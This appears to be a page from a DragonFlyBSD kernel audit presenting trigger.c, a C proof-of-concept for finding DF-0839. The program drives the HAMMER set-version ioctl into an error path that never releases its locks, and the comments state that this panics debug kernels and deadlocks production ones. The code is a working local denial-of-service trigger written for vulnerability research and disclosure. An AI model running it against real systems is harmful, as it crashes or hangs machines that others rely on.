โฌข DragonFlyBSD Kernel Audit
DF-0839 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0839 trigger โ€” hammer_ioc_set_version leaks sync_lock + finalize_lock
 * on the undo-upgrade failure path (hammer_ioctl.c:651 goto failed jumps
 * past the unlocks at :664-665).
 *
 * Two modes:
 *   argv[1] = "probe"  โ€” issue SET_VERSION(cur=4) on a HAMMER v<4 mount and
 *                        report the ioctl return + head.error. On a healthy
 *                        image the undo upgrade SUCCEEDS (locks released);
 *                        this mode proves reachability of the ioctl path.
 *   argv[1] = "leak"   โ€” same ioctl but the caller is expected to have
 *                        arranged for hammer_upgrade_undo_4() to fail
 *                        (corrupted UNDO blockmap in the image). On GENERIC
 *                        (INVARIANTS ON) this trips
 *                          KKASSERT(trans->sync_lock_refs == 0)
 *                        in hammer_done_transaction (hammer_transaction.c:131)
 *                        => immediate kernel panic. On production kernels
 *                        (INVARIANTS OFF) the sync_lock stays exclusively
 *                        held => every subsequent HAMMER write/flush deadlocks.
 *
 * Usage:  trigger <path-to-file-on-hammer-mount> [probe|leak]
 * Build:  cc -o trigger trigger.c
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#include <vfs/hammer/hammer_ioctl.h>

int main(int argc, char **argv)
{
    const char *path;
    const char *mode = "probe";
    int fd, rc;
    uint32_t want = 4;  /* upgrade to version 4 (triggers undo upgrade path) */
    struct hammer_ioc_version ver;

    if (argc < 2) {
        fprintf(stderr, "usage: %s <file-on-hammer-mount> [probe|leak]\n",
                argv[0]);
        return 2;
    }
    path = argv[1];
    if (argc >= 3)
        mode = argv[2];

    fd = open(path, O_RDWR);
    if (fd < 0) {
        perror("open");
        return 2;
    }

    memset(&ver, 0, sizeof(ver));
    ver.cur_version = want;

    printf("[%s] issuing HAMMERIOC_SET_VERSION(cur=%u) on %s (fd=%d)\n",
           mode, want, path, fd);
    fflush(stdout);

    rc = ioctl(fd, HAMMERIOC_SET_VERSION, &ver);
    /* NOTE: hammer_ioc_set_version always returns 0 internally; the real
     * result is in ver.head.error. */
    printf("[%s] ioctl rc=%d errno=%d (%s) head.error=%d head.flags=0x%x\n",
           mode, rc, errno, strerror(errno), ver.head.error, ver.head.flags);

    /* If leak mode succeeded in triggering the failure path AND we are on
     * an INVARIANTS kernel, the kernel will panic in hammer_done_transaction
     * before we even get here โ€” the open()/close() below would never return.
     * On a production kernel, a subsequent sync attempt would hang. */
    if (ver.head.error != 0)
        printf("[%s] undo-upgrade FAILED (head.error=%d): locks LEAKED โ€” "
               "on GENERIC expect a panic in hammer_done_transaction; "
               "on production expect deadlock on next sync\n",
               mode, ver.head.error);
    else
        printf("[%s] undo-upgrade succeeded (no leak this run)\n", mode);

    close(fd);
    return (ver.head.error != 0) ? 0 : 0;
}